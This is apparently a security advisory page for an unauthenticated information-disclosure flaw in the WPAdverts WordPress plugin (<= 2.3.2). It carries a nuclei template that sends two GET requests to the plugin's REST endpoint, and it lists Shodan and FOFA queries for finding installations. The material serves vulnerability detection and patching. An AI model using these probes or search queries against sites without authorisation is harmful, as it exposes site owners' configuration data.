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CVE-2026-11801· developer / wpadverts· CWE-862
WPAdverts <= 2.3.2 - Information Disclosure
highseverity
7.5CVSS score
1.6%likelihood of exploitation, next 30 days
77%of all CVEs are less likely
Readycheck to confirm it
WPAdverts – Classifieds Plugin for WordPress <= 2.3.2 contains an authorization bypass caused by improper user authorization verification in classifieds-types REST endpoint, letting unauthenticated attackers retrieve internal site configuration data, exploit requires no authentication.
Impact
Unauthenticated attackers can access internal site configuration data, potentially exposing sensitive information about the site setup.
Fix
Update to the latest version beyond 2.3.2.
How to confirm it
Send: GET /wp-json/wpadverts/v1/classifieds-types ; GET /?rest_route=/wpadverts/v1/classifieds-types
Positive when: status_code == 200 and contains(content_type, "json") and contains_all(body, "\"form_schemes_default\"", "\"meta__adverts_email\"", "\"post_type\"", "\"data\"")Run it with nuclei: nuclei -id CVE-2026-11801 -u <target>
The full check
id: CVE-2026-11801
info:
name: WPAdverts <= 2.3.2 - Information Disclosure
author: 0x_Akoko
severity: high
description: |
WPAdverts – Classifieds Plugin for WordPress <= 2.3.2 contains an authorization bypass caused by improper user authorization verification in classifieds-types REST endpoint, letting unauthenticated attackers retrieve internal site configuration data, exploit requires no authentication.
impact: |
Unauthenticated attackers can access internal site configuration data, potentially exposing sensitive information about the site setup.
remediation: |
Update to the latest version beyond 2.3.2.
reference:
- https://www.wordfence.com/threat-intel/vulnerabilities/id/37bb8d68-dd87-437a-80e5-e99e93dc55b6
- https://nvd.nist.gov/vuln/detail/CVE-2026-11801
- https://plugins.trac.wordpress.org/changeset?reponame=&new=3635095%40wpadverts%2Ftrunk&old=3557928%40wpadverts%2Ftrunk
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2026-11801
epss-score: 0.01642
epss-percentile: 0.76616
cwe-id: CWE-862
metadata:
verified: true
max-request: 2
vendor: developer
product: wpadverts
framework: wordpress
shodan-query: http.html:"wp-content/plugins/wpadverts"
fofa-query: body="wp-content/plugins/wpadverts"
tags: cve,cve2026,wpadverts,wp,wordpress,wp-plugin,exposure
http:
- raw:
- |
GET /wp-json/wpadverts/v1/classifieds-types HTTP/1.1
Host: {{Hostname}}
- |
GET /?rest_route=/wpadverts/v1/classifieds-types HTTP/1.1
Host: {{Hostname}}
stop-at-first-match: true
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(content_type, "json")'
- 'contains_all(body, "\"form_schemes_default\"", "\"meta__adverts_email\"", "\"post_type\"", "\"data\"")'
condition: andReferences
- https://www.wordfence.com/threat-intel/vulnerabilities/id/37bb8d68-dd87-437a-80e5-e99e93dc55b6
- https://nvd.nist.gov/vuln/detail/CVE-2026-11801
- https://plugins.trac.wordpress.org/changeset?reponame=&new=3635095%40wpadverts%2Ftrunk&old=3557928%40wpadverts%2Ftrunk
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